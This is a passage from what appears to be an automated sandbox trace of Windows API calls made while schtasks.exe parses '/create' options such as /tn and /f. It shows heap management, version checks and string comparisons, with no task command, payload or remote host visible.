_Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.388] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|showsid|") returned 9 [0122.388] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedf188 | out: _Buffer="|f|") returned 3 [0122.388] lstrlenW (lpString="|showsid|") returned 9 [0122.388] lstrlenW (lpString="|f|") returned 3 [0122.390] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0122.390] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.390] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.390] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.390] lstrlenW (lpString="/f") returned 2 [0122.390] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0122.390] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.391] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.391] lstrlenW (lpString="/f") returned 2 [0122.391] GetProcessHeap () returned 0x1c180330000 [0122.391] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x6) returned 0x1c180333c80 [0122.391] GetProcessHeap () returned 0x1c180330000 [0122.391] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c18033b470 [0122.391] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.391] GetProcessHeap () returned 0x1c180330000 [0122.391] GetProcessHeap () returned 0x1c180330000 [0122.391] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c180333950) returned 1 [0122.391] GetProcessHeap () returned 0x1c180330000 [0122.391] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c180333950) returned 0x8 [0122.391] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c180333950) returned 1 [0122.391] GetProcessHeap () returned 0x1c180330000 [0122.391] GetProcessHeap () returned 0x1c180330000 [0122.391] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033b380) returned 1 [0122.391] GetProcessHeap () returned 0x1c180330000 [0122.391] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033b380) returned 0x20 [0122.392] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033b380) returned 1 [0122.392] GetProcessHeap () returned 0x1c180330000 [0122.392] GetProcessHeap () returned 0x1c180330000 [0122.392] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033a9e0) returned 1 [0122.392] GetProcessHeap () returned 0x1c180330000 [0122.392] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033a9e0) returned 0x12 [0122.392] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033a9e0) returned 1 [0122.392] GetProcessHeap () returned 0x1c180330000 [0122.392] GetProcessHeap () returned 0x1c180330000 [0122.392] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033b3b0) returned 1 [0122.392] GetProcessHeap () returned 0x1c180330000 [0122.392] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033b3b0) returned 0x20 [0122.393] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033b3b0) returned 1 [0122.393] GetProcessHeap () returned 0x1c180330000 [0122.393] GetProcessHeap () returned 0x1c180330000 [0122.393] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c180333970) returned 1 [0122.393] GetProcessHeap () returned 0x1c180330000 [0122.393] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c180333970) returned 0x8 [0122.393] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c180333970) returned 1 [0122.393] GetProcessHeap () returned 0x1c180330000 [0122.393] GetProcessHeap () returned 0x1c180330000 [0122.393] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033b830) returned 1 [0122.393] GetProcessHeap () returned 0x1c180330000 [0122.393] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033b830) returned 0x20 [0122.394] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033b830) returned 1 [0122.394] GetProcessHeap () returned 0x1c180330000 [0122.394] GetProcessHeap () returned 0x1c180330000 [0122.394] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033ab60) returned 1 [0122.394] GetProcessHeap () returned 0x1c180330000 [0122.394] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033ab60) returned 0xe [0122.394] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033ab60) returned 1 [0122.394] GetProcessHeap () returned 0x1c180330000 [0122.394] GetProcessHeap () returned 0x1c180330000 [0122.394] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033b7d0) returned 1 [0122.394] GetProcessHeap () returned 0x1c180330000 [0122.394] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033b7d0) returned 0x20 [0122.395] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033b7d0) returned 1 [0122.395] GetProcessHeap () returned 0x1c180330000 [0122.395] GetProcessHeap () returned 0x1c180330000 [0122.395] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c180333990) returned 1 [0122.395] GetProcessHeap () returned 0x1c180330000 [0122.395] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c180333990) returned 0x8 [0122.395] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c180333990) returned 1 [0122.395] GetProcessHeap () returned 0x1c180330000 [0122.395] GetProcessHeap () returned 0x1c180330000 [0122.395] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033b740) returned 1 [0122.395] GetProcessHeap () returned 0x1c180330000 [0122.395] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033b740) returned 0x20 [0122.396] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033b740) returned 1 [0122.396] GetProcessHeap () returned 0x1c180330000 [0122.396] GetProcessHeap () returned 0x1c180330000 [0122.396] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c180333b90) returned 1 [0122.396] GetProcessHeap () returned 0x1c180330000 [0122.396] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c180333b90) returned 0x4 [0122.396] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c180333b90) returned 1 [0122.396] GetProcessHeap () returned 0x1c180330000 [0122.396] GetProcessHeap () returned 0x1c180330000 [0122.396] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033b800) returned 1 [0122.396] GetProcessHeap () returned 0x1c180330000 [0122.396] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033b800) returned 0x20 [0122.397] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033b800) returned 1 [0122.397] GetProcessHeap () returned 0x1c180330000 [0122.397] GetProcessHeap () returned 0x1c180330000 [0122.397] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c180333bb0) returned 1 [0122.397] GetProcessHeap () returned 0x1c180330000 [0122.397] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c180333bb0) returned 0x8 [0122.397] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c180333bb0) returned 1 [0122.397] GetProcessHeap () returned 0x1c180330000 [0122.397] GetProcessHeap () returned 0x1c180330000 [0122.397] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033b860) returned 1 [0122.397] GetProcessHeap () returned 0x1c180330000 [0122.397] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033b860) returned 0x20 [0122.398] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033b860) returned 1 [0122.398] GetProcessHeap () returned 0x1c180330000 [0122.398] GetProcessHeap () returned 0x1c180330000 [0122.398] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033bcf0) returned 1 [0122.398] GetProcessHeap () returned 0x1c180330000 [0122.398] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033bcf0) returned 0x9a [0122.398] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033bcf0) returned 1 [0122.398] GetProcessHeap () returned 0x1c180330000 [0122.398] GetProcessHeap () returned 0x1c180330000 [0122.398] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033b4d0) returned 1 [0122.398] GetProcessHeap () returned 0x1c180330000 [0122.398] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033b4d0) returned 0x20 [0122.399] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033b4d0) returned 1 [0122.399] GetProcessHeap () returned 0x1c180330000 [0122.399] GetProcessHeap () returned 0x1c180330000 [0122.399] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c180333c80) returned 1 [0122.399] GetProcessHeap () returned 0x1c180330000 [0122.399] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c180333c80) returned 0x6 [0122.399] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c180333c80) returned 1 [0122.399] GetProcessHeap () returned 0x1c180330000 [0122.399] GetProcessHeap () returned 0x1c180330000 [0122.399] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033b470) returned 1 [0122.399] GetProcessHeap () returned 0x1c180330000 [0122.400] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033b470) returned 0x20 [0122.400] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033b470) returned 1 [0122.400] GetProcessHeap () returned 0x1c180330000 [0122.400] GetProcessHeap () returned 0x1c180330000 [0122.400] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c180334a90) returned 1 [0122.400] GetProcessHeap () returned 0x1c180330000 [0122.400] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c180334a90) returned 0x18 [0122.400] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c180334a90) returned 1 [0122.401] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.401] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0122.401] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0122.401] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0122.401] RtlVerifyVersionInfo (VersionInfo=0x589fedc120, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0122.401] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.401] lstrlenW (lpString="create") returned 6 [0122.401] StrChrIW (lpStart="create", wMatch=0x7c) returned 0x0 [0122.401] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.401] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.401] lstrlenW (lpString="create") returned 6 [0122.401] GetProcessHeap () returned 0x1c180330000 [0122.401] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c18033b9b0 [0122.401] GetProcessHeap () returned 0x1c180330000 [0122.401] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x18) returned 0x1c18033aa20 [0122.401] _memicmp (_Buf1=0x1c18033aa20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.402] GetProcessHeap () returned 0x1c180330000 [0122.402] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x16) returned 0x1c18033a880 [0122.402] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.402] _memicmp (_Buf1=0x1c180333fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.402] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1c180339710, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0122.402] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x589fedc278 | out: lpdwHandle=0x589fedc278) returned 0x76c [0122.402] GetProcessHeap () returned 0x1c180330000 [0122.402] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x776) returned 0x1c18033bcf0 [0122.402] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x1c18033bcf0 | out: lpData=0x1c18033bcf0) returned 1 [0122.402] VerQueryValueW (in: pBlock=0x1c18033bcf0, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x589fedc210, puLen=0x589fedc270 | out: lplpBuffer=0x589fedc210*=0x1c18033c0a0, puLen=0x589fedc270) returned 1 [0122.410] _memicmp (_Buf1=0x1c180333fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.410] _vsnwprintf (in: _Buffer=0x1c180339710, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x589fedc1e8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0122.410] VerQueryValueW (in: pBlock=0x1c18033bcf0, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x589fedc200, puLen=0x589fedc268 | out: lplpBuffer=0x589fedc200*=0x1c18033bed0, puLen=0x589fedc268) returned 1 [0122.410] lstrlenW (lpString="schtasks.exe") returned 12 [0122.410] lstrlenW (lpString="schtasks.exe") returned 12 [0122.410] lstrlenW (lpString=".EXE") returned 4 [0122.410] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0122.410] lstrlenW (lpString="schtasks.exe") returned 12 [0122.410] lstrlenW (lpString=".EXE") returned 4 [0122.410] lstrlenW (lpString="schtasks") returned 8 [0122.410] lstrlenW (lpString="/create") returned 7 [0122.410] _memicmp (_Buf1=0x1c180333fb0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.410] _vsnwprintf (in: _Buffer=0x1c180339710, _BufferCount=0x19, _Format="%s %s", _ArgList=0x589fedc1e8 | out: _Buffer="schtasks /create") returned 16 [0122.410] _memicmp (_Buf1=0x1c180332140, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.410] GetProcessHeap () returned 0x1c180330000 [0122.410] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x20) returned 0x1c18033b7a0 [0122.410] _memicmp (_Buf1=0x1c180334880, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.410] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x1c18033bae0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0122.410] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0122.410] GetProcessHeap () returned 0x1c180330000 [0122.411] RtlAllocateHeap (HeapHandle=0x1c180330000, Flags=0xc, Size=0x30) returned 0x1c180333b90 [0122.411] _vsnwprintf (in: _Buffer=0x1c1803342c0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x589fedc1e8 | out: _Buffer="Type \"SCHTASKS /CREATE /?\" for usage.") returned 37 [0122.411] GetProcessHeap () returned 0x1c180330000 [0122.411] GetProcessHeap () returned 0x1c180330000 [0122.411] HeapValidate (hHeap=0x1c180330000, dwFlags=0x0, lpMem=0x1c18033bcf0) returned 1 [0122.411] GetProcessHeap () returned 0x1c180330000 [0122.411] RtlSizeHeap (HeapHandle=0x1c180330000, Flags=0x0, MemoryPointer=0x1c18033bcf0) returned 0x776 [0122.412] RtlFreeHeap (HeapHandle=0x1c180330000, Flags=0x0, BaseAddress=0x1c18033bcf0) returned 1 [0122.412] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.412] GetThreadLocale () returned 0x409 [0122.412] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0122.412] lstrlenW (lpString="create") returned 6 [0122.412] GetThreadLocale () returned 0x409 [0122.412] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0122.412] lstrlenW (lpString="?") returned 1 [0122.412] GetThreadLocale () returned 0x409 [0122.412] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0122.412] lstrlenW (lpString="s") returned 1 [0122.412] GetThreadLocale () returned 0x409 [0122.412] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0122.412] lstrlenW (lpString="u") returned 1 [0122.412] GetThreadLocale () returned 0x409 [0122.412] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0122.412] lstrlenW (lpString="p") returned 1 [0122.412] GetThreadLocale () returned 0x409 [0122.412] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0122.412] lstrlenW (lpString="ru") returned 2 [0122.412] GetThreadLocale () returned 0x409 [0122.412] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0122.412] lstrlenW (lpString="rp") returned 2 [0122.412] GetThreadLocale () returned 0x409 [0122.412] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0122.413] lstrlenW (lpString="sc") returned 2 [0122.413] GetThreadLocale () returned 0x409 [0122.413] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0122.413] lstrlenW (lpString="mo") returned 2 [0122.413] GetThreadLocale () returned 0x409 [0122.413] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0122.413] lstrlenW (lpString="d") returned 1 [0122.413] GetThreadLocale () returned 0x409 [0122.413] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0122.413] lstrlenW (lpString="m") returned 1 [0122.413] GetThreadLocale () returned 0x409 [0122.413] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0122.413] lstrlenW (lpString="i") returned 1 [0122.413] GetThreadLocale () returned 0x409 [0122.413] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0122.413] lstrlenW (lpString="tn") returned 2 [0122.413] GetThreadLocale () returned 0x409 [0122.413] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0122.413] lstrlenW (lpString="tr") returned 2 [0122.413] GetThreadLocale () returned 0x409 [0122.413] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0122.413] lstrlenW (lpString="st") returned 2 [0122.413] GetThreadLocale () returned 0x409 [0122.413] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0122.413] lstrlenW (lpString="sd") returned 2 [0122.413] GetThreadLocale () returned 0x409 [0122.413] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0122.413] lstrlenW (lpString="ed") returned 2 [0122.414] GetThreadLocale () returned 0x409 [0122.414] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0122.414] lstrlenW (lpString="it") returned 2 [0122.414] GetThreadLocale () returned 0x409 [0122.414] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0122.414] lstrlenW (lpString="et") returned 2 [0122.414] GetThreadLocale () returned 0x409 [0122.414] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0122.414] lstrlenW (lpString="k") returned 1 [0122.414] GetThreadLocale () returned 0x409 [0122.414] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0122.414] lstrlenW (lpString="du") returned 2 [0122.414] GetThreadLocale () returned 0x409 [0122.414] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0122.414] lstrlenW (lpString="ri") returned 2 [0122.414] GetThreadLocale () returned 0x409 [0122.414] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0122.414] lstrlenW (lpString="z") returned 1 [0122.414] GetThreadLocale () returned 0x409 [0122.414] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0122.414] lstrlenW (lpString="f") returned 1 [0122.414] GetThreadLocale () returned 0x409 [0122.414] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0122.414] lstrlenW (lpString="v1") returned 2 [0122.414] GetThreadLocale () returned 0x409 [0122.414] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0122.414] lstrlenW (lpString="xml") returned 3 [0122.414] GetThreadLocale () returned 0x409 [0122.415] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0122.415] lstrlenW (lpString="ec") returned 2 [0122.415] GetThreadLocale () returned 0x409 [0122.415] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0122.415] lstrlenW (lpString="rl") returned 2 [0122.415] GetThreadLocale () returned 0x409 [0122.415] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0122.415] lstrlenW (lpString="delay") returned 5 [0122.415] GetThreadLocale () returned 0x409 [0122.415] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0122.415] lstrlenW (lpString="np") returned 2 [0122.415] GetThreadLocale () returned 0x409 [0122.415] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0122.415] lstrlenW (lpString="hresult") returned 7 [0122.415] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.415] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.415] lstrlenW (lpString="/create") returned 7 [0122.415] lstrlenW (lpString="-/") returned 2 [0122.415] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0122.415] lstrlenW (lpString="create") returned 6 [0122.415] lstrlenW (lpString="create") returned 6 [0122.415] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.415] lstrlenW (lpString="create") returned 6 [0122.415] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.415] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|create|") returned 8 [0122.415] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|create|") returned 8 [0122.416] lstrlenW (lpString="|create|") returned 8 [0122.416] lstrlenW (lpString="|create|") returned 8 [0122.416] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0122.416] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.416] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.416] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.416] lstrlenW (lpString="/tn") returned 3 [0122.416] lstrlenW (lpString="-/") returned 2 [0122.416] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0122.416] lstrlenW (lpString="create") returned 6 [0122.416] lstrlenW (lpString="create") returned 6 [0122.416] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.416] lstrlenW (lpString="tn") returned 2 [0122.416] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.416] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|create|") returned 8 [0122.416] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|tn|") returned 4 [0122.416] lstrlenW (lpString="|create|") returned 8 [0122.416] lstrlenW (lpString="|tn|") returned 4 [0122.416] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0122.416] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.416] lstrlenW (lpString="?") returned 1 [0122.416] lstrlenW (lpString="?") returned 1 [0122.416] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.416] lstrlenW (lpString="tn") returned 2 [0122.416] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.416] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|?|") returned 3 [0122.417] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|tn|") returned 4 [0122.417] lstrlenW (lpString="|?|") returned 3 [0122.417] lstrlenW (lpString="|tn|") returned 4 [0122.417] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.417] lstrlenW (lpString="s") returned 1 [0122.417] lstrlenW (lpString="s") returned 1 [0122.417] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.417] lstrlenW (lpString="tn") returned 2 [0122.417] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.417] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|s|") returned 3 [0122.417] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|tn|") returned 4 [0122.417] lstrlenW (lpString="|s|") returned 3 [0122.417] lstrlenW (lpString="|tn|") returned 4 [0122.417] RtlRestoreLastWin32Error () returned 0x58a01e8000 [0122.417] lstrlenW (lpString="u") returned 1 [0122.417] lstrlenW (lpString="u") returned 1 [0122.417] _memicmp (_Buf1=0x1c180334790, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.417] lstrlenW (lpString="tn") returned 2 [0122.417] _memicmp (_Buf1=0x1c180333930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0122.417] _vsnwprintf (in: _Buffer=0x1c1803343b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x589fedc1f8 | out: _Buffer="|u|") returned 3 [0122.417] _vsnwprintf (in: _Buffer=0x1c18033a9a0, _BufferCount=0x5, _Format="|%s|", 